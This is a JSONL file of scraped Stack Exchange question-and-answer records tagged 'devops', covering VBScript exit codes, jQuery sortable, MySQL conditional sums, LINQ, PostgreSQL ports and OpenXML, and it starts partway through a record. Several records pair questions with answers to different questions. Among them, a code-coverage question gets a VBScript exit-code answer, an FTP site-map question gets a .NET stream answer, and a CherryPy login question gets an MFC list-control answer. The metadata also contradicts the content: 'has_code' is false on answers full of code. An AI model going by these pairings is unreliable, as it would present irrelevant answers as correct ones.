= new $TypeToTest$()\n        $END$\n    }\n}\n```\n```\nMacros:\nTypeToTest\n- none - #2\nTest\n- none - V", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.436306"}
{"id": "hf_6befae51cd47", "question": "<p>I Have an old vbs script file being kicked off by an AutoSys job. Can I, and how do I, return an int return value to indicate success or failure?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nWScript.Quit n\n```\n```\nWhere n is the ERRORLEVEL you want to return", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.547476"}
{"id": "hf_49cff12a8f4f", "question": "<p>Has anyone seen a tool that will integrate code coverage results with SCM/VCS to attribute untested lines of code to developers?\nFor example, is there a tool that will take NCover's Coverage.Xml, combine it with SVN blame, and produce a report that tells me things like developer who commits most untested code?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nWScript.Quit n\n```\n```\nWhere n is the ERRORLEVEL you want to return", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.575204"}
{"id": "hf_68bcca1b2220", "question": "<p>It seems the ObservableCollection only support add, remove, clear operation from the UI thread, It throw Not Support Exception if it is operated by a NO UI thread. I tried to override methods of ObservableCollection, unfortunatly, I met lots of problems.\nAny one can provide me a ObservableCollection sample which can be operated by multi-threads?\nMany thanks!</p>\n", "question_body": "", "answer": "Using the link provided by\nKent\n, you could use the following code to modify a collection across threads:\n```\n```\nwhile (!Monitor.TryEnter(_lock, 10))\n{\n   DoEvents();\n}\n\ntry\n{\n   //modify collection\n}\nfinally\n{\n   Monitor.Exit(_lock);\n}\n```\n```\nIf however you're just looking to modify the collection on your original thread you can try using a callback to your UI thread. I normally do something like this:\n```\n```\nthis.Dispatcher.Invoke(new MyDelegate((myParam) =>\n{\n  this.MyCollection.Add(myParam);\n}), state);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.636223"}
{"id": "hf_6a06cf1f2680", "question": "<p>I'm using the sortable function in jquery to sequence a faq list.  Needless to say, i'm new to this concept.  Anybody have any good examples of the backend for this.  I have the front working fine, but updating the sequence in the database is another story. My backend is ColdFusion btw.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "Define the faq:\n```\n```\n<div id=\"faq\">\n  <div id=\"q1\">...</div>\n  <div id=\"q2\">...</div>\n  (...)\n  <div id=\"q100\">..</div>\n</div>\n```\n```\nMake faq sortable:\n```\n```\n<script type=\"text/javascript\">\n  $(\"#faq\").sortable();\n</script>\n```\n```\nForm submitted:\n```\n```\n<form action=\"...\" id=\"faq_form\">\n  <input type=\"hidden\" name=\"faqs\" id=\"faqs\" />\n  ...\n</form>\n```\n```\nAdd sorted sequence to form\n```\n```\n<script type=\"text/javascript>\n  $(\"#faq_form\").submit(function() {\n    $(\"#faqs\").val($(\"#faq\").sortable('toArray'))\n  })\n</script>\n```\n```\nWhen form is submitted, field \"faqs\" will contain comma separated id's from #faq like this:\nq1,q3,q10,q11,q2,q100...\nJust parse it and save to DB", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.660467"}
{"id": "hf_7741850f19b3", "question": "<p>I am writing a dhtml application that creates an interactive simulation of a system.  The data for the simulation is generated from another tool, and there is already a very large amount of legacy data.</p>\n\n<p>Some steps in the simulation require that we play \"voice-over\" clips of audio. I've been unable to find an easy way to accomplish this across multiple browsers. </p>\n\n<p><a href=\"http://www.schillmania.com/projects/soundmanager2/\" rel=\"noreferrer\">Soundmanager2</a> comes pretty close to what I need, but it will only play mp3 files, and the legacy data may contain some .wav files as well.  </p>\n\n<p>Does anyone have any other libraries that might help?</p>\n", "question_body": "", "answer": "I believe that the simplest and most convenient way would be to play the sound using a small Flash clip. I appreciate it's not a JavaScript solution but it IS the easiest way to achieve your goal\nSome extra links from the previous\nsimilar question\n:\nScriptaculous, a Javascript library:\nhttp://github.com/madrobby/scriptaculous/wikis/sound\nan opensource Flash project: Easy Musicplayer For Flash\nhttp://emff.sourceforge.net/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.697622"}
{"id": "hf_400c518782e0", "question": "<p>I have an object that needs a test if the object data is valid. The validation itself would be called from the thread that instatiated the object, it looks like this:</p>\n\n<pre><code> {\n  if (_step.Equals(string.Empty)) return false;\n  if (_type.Equals(string.Empty)) return false;\n  if (_setup.Equals(string.Empty)) return false;\n  return true;\n}\n</code></pre>\n\n<p>Would it be better to implement this as a property, or as a method, and why? I have read the answers to a <a href=\"https://stackoverflow.com/questions/164023/what-guidelines-are-appropriate-for-determining-when-to-implement-a-class-membe\">related question</a>, but I don't think this specific question is covered there.</p>\n", "question_body": "", "answer": "I would say as a Property.\n```\n```\nif(something.IsValid) { ...\n```\n```\nlooks better then\n```\n```\nif(something.IsValid()) { ...\n```\n```\nAlso an example from MSDN:\nhttp://msdn.microsoft.com/en-us/library/system.web.ui.page.isvalid(VS.71).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.722418"}
{"id": "hf_f6af4e782bb3", "question": "<p>Is there a FOSS batch compiling solution for Delphi that takes version as an input parameter?</p>\n\n<p>I am using Delphi 7 and this remains the most tedious operation. Are there any other solutions, workarounds to make this easy.</p>\n", "question_body": "", "answer": "Not really sure on your question, but I'm going to assume you are asking how to set the version number for a product from a batch file when compiling.  I previously used a program called\nStampVer\n,   You will need to already have version information in the file to use StampVer.  StampVer is Freeware but not Open Source.\nA good commercial solution that I strongly recommend would be\nFinalBuilder\n, which also has the ability to manipulate the version information in an executable as well as compile your Delphi application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.747898"}
{"id": "hf_60413633568e", "question": "<p>How would you store formatted blocks of text (line breaks, tabs, lists - etc.) in a database (nothing specific) to be displayed on the web (XHTML) while maintaining a level of abstraction so that the data can be used in other applications or if the structure of the website were to change in the future?</p>\n", "question_body": "", "answer": "This actually has very little to do with CodeIgniter and a lot with how mysql_fetch_assoc provides the query results.\nThe solution is that you should rename the columns inside the query using\n```\n\"AS\"\n```\n, e.g.\n```\n```\nselect type_of_source.description as type_of_source_description, origin.descripotion as origin_descripotion from ....\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.808996"}
{"id": "hf_c5801fa08692", "question": "<p>Let's say you already \"know\" what your client wants from you (i.e. you already did some analysis and have some clue about what are you supposed to deliver). What are the next steps you usually go through after this phase? In other words, what are the steps (in terms of preparation of the framework, plugins, repository, etc.) you do in the beginning of <em>every</em> RoR based application development?</p>\n", "question_body": "", "answer": "I have an empty Rails application with my can't-live-without plugins (haml & rspec in the main) and with Rails frozen to vendor/plugins. I've also modified configuration stuff to fit my environment. The whole thing lives in my svn repository. When I start a new project, I check out my starting point and continue from there. Usually by writing (or trying to remember to write) a test.\nIt only saves an hour or so, but not having to mess around with stuff I do infrequently (and thus have to look up) is a big plus.\nEDIT: Whoops, I forgot to mention\nBort\nwhich is much more comprehensive...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.906721"}
{"id": "hf_b19c393b2a51", "question": "<p>Our organization started on the SharePoint path about two years ago.  Before that, we (the developers) wrote mostly asp.net front ends for SQL back ends.  Now it seems like every time a new project comes up, we are asked to “make” it fit in SharePoint; and we have stuffed some things into SharePoint that probably should have been stand alone applications or web applications due to complexity and interactions with other technologies.</p>\n\n<p>My question is: Where do you draw the line as to developing a project in SharePoint versus Web/Winform application, and how do you convince your manager(s) that SharePoint may not be the best solution for a particular project?</p>\n", "question_body": "", "answer": "I sort of agree with you that this is sometimes a tough question.  In general, though, I agree with the cliche that you just have to think about a sharepoint app a little differently.  If your data can be considered as list-based, then SharePoint probably isn't a necessarily bad development framework.  It may seem like more work on the surface, but IMO the challenges just move from one place to another.  If you use things like custom field templates and web parts, you can relatively naturally handle all sorts of data.  And you get the positive aspects of SharePoint for free (an already mature security framework, built-in searching, site and list templates/definitions, personalized page customizations, yada, yada).\nI also I don't know what you mean by \"complexity and interactions with other technologies\" here, so it's hard to imagine what specific issues might be introduced when SharePoint is added to the mix.\nIf your dev team is relatively inexperienced with SharePoint and you care about quality and deadlines, I can definitely see your point.  It's not an easy learning curve, but I think the SharePoint product is more naturally extensible than many people give it credit for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.954733"}
{"id": "hf_17003597a013", "question": "<p>What is the best way for converting phone numbers into international format (E.164) using Java?</p>\n\n<p>Given a 'phone number' and a country id (let's say an ISO country code), I would like to convert it into a standard E.164 international format phone number.</p>\n\n<p>I am sure I can do it by hand quite easily - but I would not be sure it would work correctly in all situations.</p>\n\n<p>Which Java framework/library/utility would you recommend to accomplish this?</p>\n\n<p>P.S. The 'phone number' could be anything identifiable by the general public - such as</p>\n\n<pre><code>* (510) 786-0404\n* 1-800-GOT-MILK\n* +44-(0)800-7310658\n</code></pre>\n\n<p>that last one is my favourite - it is how some people write their number in the UK and means that you should either use the +44 or you should use the 0.</p>\n\n<p>The E.164 format number should be all numeric, and use the full international country code (e.g.+44)</p>\n", "question_body": "", "answer": "Speaking from experience at writing this kind of thing, it's really difficult to do with 100% reliability.  I've written some Java code to do this that is reasonably good at processing the data we have but won't be applicable in every country.  Questions you need to ask are:\nAre the character to number mappings consistent between countries?  The US uses a lot of this (eg 1800-GOT-MILK) but in Australia, as one example, its pretty rare.  What you'd need to do is ensure that you were doing the correct mapping for the country in question if it varies (it might not).  I don't know what countries that use different alphabets (eg Cyrilic in Russia and the former Eastern block countries) do;\nYou have to accept that your solution will not be 100% and you should not expect it to be.  You need to take a \"best guess\" approach.  For example, theres no real way of knowing that 132345 is a valid phone number in Australia, as is 1300 123 456 but that these are the only two patterns that are for 13xx numbers and they're not callable from overseas;\nYou also have to ask if you want to validate regions (area codes).  I believe the US uses a system where the second digit of the area code is a 1 or a 0.  This may have once been the case but I'm not sure if it still applies.  Whatever the case, many other countries will have other rules.  In Australia, the valid area codes for landlines and mobile (cell) phones are two digits (the first is 0).  08, 03 and 04 are all valid.  01 isn't.  How do you cater for that?  Do you want to?\nCountries use different conventions no matter how many digits they're writing.  You have to decide if you want to accept something other than the \"norm\".  These are all common in Australia:\n(02) 1234 5678\n02 1234 5678\n0411 123 123 (but I've never seen 04 1112 3456)\n131 123\n13 1123\n131 123\n1 300 123 123\n1300 123 123\n02-1234-5678\n1300-234-234\n+44 78 1234 1234\n+44 (0)78 1234 1234\n+44-78-1234-1234\n+44-(0)78-1234-1234\n0011 44 78 1234 1234 (0011 is the standard international dialling code)\n(44) 078 1234 1234 (not common)\nAnd thats just off the top of my head.  For one country.  In France, for example, its common the write the phone number in number pairs (12 34 56 78) and they pronounce it that way too: instead of:\nun (one), deux (two), trois (three), ...\nits\ndouze (twelve), trente-quatre (thirty four), ...\nDo you want to cater for that level of cultural difference?  I would assume not but the question is worth considering just in case you make your rules too strict.\nAlso some people may append extension numbers on phone numbers, possibly with \"ext\" or similar abbreviation.  Do you want to cater for that?\nSorry, no code here.  Just a list of questions to ask yourself and issues to consider.  As others have said, a series of regular expressions can do much of the above but ultimately phone number fields are (mostly) free form text at the end of the day.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.990951"}
{"id": "hf_8772faa7b44b", "question": "<p>I'm using ccl/openmcl on Mac OS X. (latest versions of both). When the lisp prompt is displayed, using the cursor keys to navigate the current line results in escape codes, rather than movement, eg:</p>\n\n<p><code>Welcome to Clozure Common Lisp Version 1.2-r9226-RC1  (DarwinX8664)!<br>\n? (^[[D</code></p>\n\n<p>Here I've pressed the <code>(</code> key, and then the <code>left cursor</code> key.</p>\n\n<p>When I run ccl/openmcl on a Debian Etch box, the cursor behaves as expected, and moves the insert point one position left.</p>\n\n<p>I guess this is some sort of terminal configuration option?</p>\n", "question_body": "", "answer": "If Clozure CL doesn't provide native readline/editline/whatever support or is configured not to use it, you can run it with rlwrap, for example:\n```\n```\nrlwrap openmcl\n```\n```\nrlwrap can be obtained via\nMacPorts\nor directly from\nhttp://utopia.knoware.nl/~hlub/rlwrap/\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.016845"}
{"id": "hf_163275442050", "question": "<p>Why does this work:</p>\n\n<pre><code>$(window).keydown(function(event){\n    alert(event.keyCode);\n});\n</code></pre>\n\n<p>but not this:</p>\n\n<pre><code>$('#ajaxSearchText').keydown(function(event){\n    alert(event.keyCode);\n});\n</code></pre>\n\n<p>I'm testing with Firefox 3.\nInterestingly, neither of them work in IE7.</p>\n", "question_body": "", "answer": "Try using\n```\n```\n$('#ajaxSearchText').keyup(function(event){\n    alert(event.keyCode);\n});\n```\n```\nworks for me perfectly. Also check the id of the textarea", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.040773"}
{"id": "hf_f43bff3892f5", "question": "<p>I'm having trouble selecting elements that are part of an specific namespace.  My xpath expression works in XMLSpy but fails when using the Xalan libraries..</p>\n\n<pre><code>&lt;item&gt;\n   &lt;media:content attrb=\"xyz\"&gt;\n     &lt;dcterms:valid&gt;VALUE&lt;/dcterms:valid&gt;\n  &lt;/media:content&gt;\n&lt;/item&gt;\n</code></pre>\n\n<p>My expression is <code>./item/media:content/dcterms:valid</code>.  I've already added both namespace definitions to my XSLT.  Again, this selects the right values in XMLSpy but fails when running through Xalan library.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Have you tried to define the namespace of the XML blob?\n```\n```\n<item xmlns:dcterms=\"http://dcterms.example\" xmlns:media=\"http://media.example\">\n   <media:content attrb=\"xyz\">\n     <dcterms:valid>VALUE</dcterms:valid>\n  </media:content>\n</item>\n```\n```\ni.e.\nxmlns:dcterms=\"http://dcterms.example\"\nxmlns:media=\"http://media.example\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.064805"}
{"id": "hf_0357b5e9ecf0", "question": "<p>Where I work, we maintain an FTP site that needs occasional cleanup.</p>\n\n<p>Are there any tools out there to create a site map of an FTP site? It would greatly simplify clean up tasks.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "There is no public built-in way to stream from a string, as of .NET 3.5.\nYou can implement a simple StringStream class that inherits from Stream, which will free you from having to convert the string to an array of bytes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.105142"}
{"id": "hf_1fdd052cb5ac", "question": "<p>I'm trying to make a select that calculates affiliate payouts.</p>\n\n<p>my approach is pretty simple.</p>\n\n<pre><code>SELECT\n month(payments.timestmap)\n,sum(if(payments.amount&gt;=29.95,4,0)) As Tier4\n,sum(if(payments.amount&gt;=24.95&lt;=29.94,3,0)) As Tier3\n,sum(if(payments.amount&gt;=19.95&lt;=24.94,2,0)) As Tier2\nFROM payments\nGROUP BY month(payments.timestamp)\n</code></pre>\n\n<p>The above does not work because MySQL is not evaluating the second part of the condition. Btw it does not cause a syntax error and the select will return results.</p>\n\n<p>Before the above I tried what I was assuming would work like \"<code>amount between 24.94 AND 29.94</code>\" this caused an error. so then I tried \"<code>amount &gt;= 24.94 AND &lt;= 29.94</code>\" </p>\n\n<p>So is it possible to have a range comparison using IF in MySql?</p>\n", "question_body": "", "answer": "The second part of the expression evaluates when you use\n```\nAND\n```\n-\n```\n```\nSELECT\n month(payments.timestmap)\n,sum(if(payments.amount>=29.95,4,0)) As Tier4\n,sum(if(payments.amount>=24.95 AND payments.amount<=29.94,3,0)) As Tier3\n,sum(if(payments.amount>=19.95 AND payments.amount<=24.94,2,0)) As Tier2\nFROM payments\nGROUP BY month(payments.timestamp)\n```\n```\nI'm not entirely sure why the\n```\nbetween\n```\nclause didn't work for you, but the above should do the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.141163"}
{"id": "hf_1ccf04b9cc38", "question": "<p>I want to create a simple box with a header bar containing a title and some tool buttons. I have the following markup:</p>\n\n<pre><code>&lt;div style=\"float:left\"&gt;\n    &lt;div style=\"background-color:blue; padding: 1px; height: 20px;\"&gt;\n        &lt;div style=\"float: left; background-color:green;\"&gt;title&lt;/div&gt;\n        &lt;div style=\"float: right; background-color:yellow;\"&gt;toolbar&lt;/div&gt;\n    &lt;/div&gt;\n    &lt;div style=\"clear: both; width: 200px; background-color: red;\"&gt;content&lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>This renders fine in Firefox and Chrome:</p>\n\n<p><a href=\"http://www.boplicity.nl/images/firefox.jpg\">http://www.boplicity.nl/images/firefox.jpg</a></p>\n\n<p>However IE7 totally messes up and puts the right floated element to the right of the page:</p>\n\n<p><a href=\"http://www.boplicity.nl/images/ie7.jpg\">http://www.boplicity.nl/images/ie7.jpg</a></p>\n\n<p>Can this be fixed?</p>\n", "question_body": "", "answer": "Make this\n```\n<div style=\"background-color:blue; padding: 1px; height: 20px;>\n```\nthe parent of the 2 floating divs also\n```\nclear:all\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.177127"}
{"id": "hf_f524f2bab2a3", "question": "<p>I am using link to sql, I have a connected set of objects.</p>\n\n<p>I start out and do a linq statement like this</p>\n\n<pre><code>Dim L= from II in context.InventoryItems select II\nDim L2 = L.tolist\n</code></pre>\n\n<p>The second line was so that I could narrow down where the problem was occuring. When the second line is hit I get an error \"The EntitySet is already loaded and the source cannot be changed\"</p>\n\n<p>Any ideas what might be causing this?</p>\n", "question_body": "", "answer": "Omer's comment brings up a very good point: is this DataContext being re-used from a previous operation?  If so, you may want to check out Dino Esposito's\nblog post\nregarding lifetime of the DataContext to make sure you're not keeping it around too long.\nThat error sounds like maybe you have already loaded data from the InventoryItems table using that DataContext and possibly made some changes to entities bound to the DataContext that you have not yet submitted.  If you try your code with a brand new DataContext without specifying any special DataLoadOptions it should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.212782"}
{"id": "hf_0cfefa325947", "question": "<p>I could use some help writing a regular expression.  In my Django application, users can hit the following URL:</p>\n\n<pre><code>http://www.example.com/A1/B2/C3\n</code></pre>\n\n<p>I'd like to create a regular expression that allows accepts any of the following as a valid URL:</p>\n\n<pre><code>http://www.example.com/A1  \nhttp://www.example.com/A1/B2  \nhttp://www.example.com/A1/B2/C3  \n</code></pre>\n\n<p>I'm guessing I need to use the \"OR\" conditional, but I'm having trouble getting my regex to validate.  Any thoughts?</p>\n\n<p><strong>UPDATE</strong>: Here is the regex so far.  Note that I have not included the \"<a href=\"http://www.example.com\" rel=\"nofollow noreferrer\">http://www.example.com</a>\" portion -- Django handles that for me.  I'm just concerned with validating 1,2, or 3 subdirectories.</p>\n\n<pre><code>^(\\w{1,20})|((\\w{1,20})/(\\w{1,20}))|((\\w{1,20})/(\\w{1,20})/(\\w{1,20}))$\n</code></pre>\n", "question_body": "", "answer": "```\n```\nhttp://www\\.example\\.com/A1(/B2(/C3)?)?\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.274680"}
{"id": "hf_cf7c18012908", "question": "<p>Like, testing for : </p>\n\n<ul>\n<li>invalid inputs (strings containing \"'\"s)</li>\n<li>giving random id's in url parameters to access \"unauthorized\" pages</li>\n<li>prevent sql injection</li>\n<li>...</li>\n</ul>\n", "question_body": "", "answer": "I would recommend reading this brilliant\nbook\nto learn more about the test plans.\nIn particular a test plan is much more than a list of techniques like you mentioned (these should most likely go into the details for the security testing)\nIt should at least contain:\nThe answers to the main questions:\nwhy bother (what is gained by testing)\nwho cares (who are we working for)\nhow much (..testing will be done)\nYou would not go wrong providing also:\nPlatforms\nMethods (positive testing, load testing etc)\nFunctionality you're planning to test\nAcceptance criteria\nAnd there is plenty more things to talk about in the plan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.311769"}
{"id": "hf_837898a83d0d", "question": "<p>Consider this:</p>\n\n<pre><code>var query = from r in this._db.Recipes\n            where r.RecipesID == recipeID\n            select new { r.RecipesID, r.RecipesName };\n</code></pre>\n\n<p>How would i get individual columns in my <code>query</code> object without using a for-loop?</p>\n\n<p>Basicly: how do I translate <code>DataTable.Rows[0][\"ColumnName\"]</code> into Linq syntax?</p>\n", "question_body": "", "answer": "Sorry, misunderstood your question.  As others are saying, you can use ToList() to get a List back.  An alternative if all you need is the first one, just use:\n```\n```\nquery.First().ColumnName\n```\n```\nor if you want to avoid an exception on empty list:\n```\n```\nvar obj = query.FirstOrDefault();\nif (obj != null)\n   obj.ColumnName;\n```\n```\nOriginal Answer (so the comment makes sense):\nUse\nLinq to Datasets\n.  Basically would be something like:\n```\n```\nvar query = from r in yourTable.AsEnumerable()\nselect r.Field<string>(\"ColumnName\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.336554"}
{"id": "hf_6e6a6081371e", "question": "<p>I am using a List Control to display a representation of elements within a vector. When the list is clicked on another control shows information about that element. The index of the element is currently determined by its index in the control, however if I wish to sort or filter the results this will no longer work.</p>\n\n<p>I have been told that I could use a virtual list control, but the MSDN is not very friendly, can someone run me through how I could use a virtual list control for this?</p>\n", "question_body": "", "answer": "Frankly - tying data (the position in your data vector) to the presentation of the data in the list control (the position in the list ctrl) is something I would stay away from.\nIn MFC each control has a \"Data\" DWORD member variable - when coding in MFC I Always called \"SetItemData\" for each item added and passed in a pointer that the relevant row referred to e.g.\n```\nYourListCtrl.SetItemData((DWORDPTR)&YourData);\n```\nThen when the ListCtrl item is selected, you just call\n```\nDataTypeYouWant* pData =  (DataTypeYouWant*)(YourListCtrl.GetItemData(indexofselecteditem));\n```\nOr somesuch thing.\nAlternatively - if you don't want to use pointers - hold the index of the item in your original vector in the itemdata for your row (just pass it into the above fns).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.415750"}
{"id": "hf_3e89a7ebaa82", "question": "<p>I need to create a cherrypy main page that has a login area.  I want the login area to be secure, but not the rest of the page.  How can I do this in CherryPy?</p>\n\n<p>Ideally, any suggestions will be compatible with <a href=\"http://web.archive.org/web/20170210040849/http://tools.cherrypy.org:80/wiki/AuthenticationAndAccessRestrictions\" rel=\"nofollow noreferrer\">http://web.archive.org/web/20170210040849/http://tools.cherrypy.org:80/wiki/AuthenticationAndAccessRestrictions</a></p>\n", "question_body": "", "answer": "Frankly - tying data (the position in your data vector) to the presentation of the data in the list control (the position in the list ctrl) is something I would stay away from.\nIn MFC each control has a \"Data\" DWORD member variable - when coding in MFC I Always called \"SetItemData\" for each item added and passed in a pointer that the relevant row referred to e.g.\n```\nYourListCtrl.SetItemData((DWORDPTR)&YourData);\n```\nThen when the ListCtrl item is selected, you just call\n```\nDataTypeYouWant* pData =  (DataTypeYouWant*)(YourListCtrl.GetItemData(indexofselecteditem));\n```\nOr somesuch thing.\nAlternatively - if you don't want to use pointers - hold the index of the item in your original vector in the itemdata for your row (just pass it into the above fns).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.441101"}
{"id": "hf_6cbffd2f2fbc", "question": "<p>I have currently an installed pgsql instance that is running on port <code>1486</code>. I want to change this port to <code>5433</code>, how should I proceed for this?</p>\n", "question_body": "", "answer": "There should be a line in your\n```\npostgresql.conf\n```\nfile that says:\n```\n```\nport = 1486\n```\n```\nChange that.\nThe location of the file can vary depending on your install options. On Debian-based distros it is\n```\n/etc/postgresql/8.3/main/\n```\nOn Windows it is\n```\nC:\\Program Files\\PostgreSQL\\9.3\\data\n```\nDon't forget to\n```\nsudo service postgresql restart\n```\nfor changes to take effect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.466160"}
{"id": "hf_21450c40f2f6", "question": "<p>Using OpenXML SDK, I want to insert basic HTML snippets into a Word document.</p>\n\n<p>How would you do this:</p>\n\n<ul>\n<li>Manipulating XML directly ?</li>\n<li>Using an XSLT ?</li>\n<li>using AltChunk ?</li>\n</ul>\n\n<p>Moreover, C# or VB examples are more than welcome :)</p>\n", "question_body": "", "answer": "I'm not sure, what you actually would like to achieve. The OpenXML documents have an own html-like (WordprocessingML) notation for the formatting elements (like paragraph, bold text, etc.). If you would like to add some text to a doc, with basic formatting, than I rather suggest to use the OpenXML syntax and format the inserted text with that.\nIf you have a html snippet, that you must include into the doc as it is, you can use the \"external content\" feature of OpenXML. With external content, you can include the HTML document to the package, and create a reference (altChunk) in the doc in the position, where you want to include this. The disadvantage of this solution, that not all tools will support (or support properly) the generated document, therefore I don't recommend this solution, unless you really cannot change the HTML source.\nHow to include any content (the wordml) to a openxml word doc is an independent question IMHO, and the answer depends very much on how complex modifications you want to apply, and how big the document is. For a simple document, I would simply read out the document part from the package, obtain it's stream and load it to an XmlDocument. You can insert additional content to the XmlDocument quite easily, and then save it back to the package. If the document is big, or you need complex modifications in multiple places, XSLT is a good option.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:14.491746"}
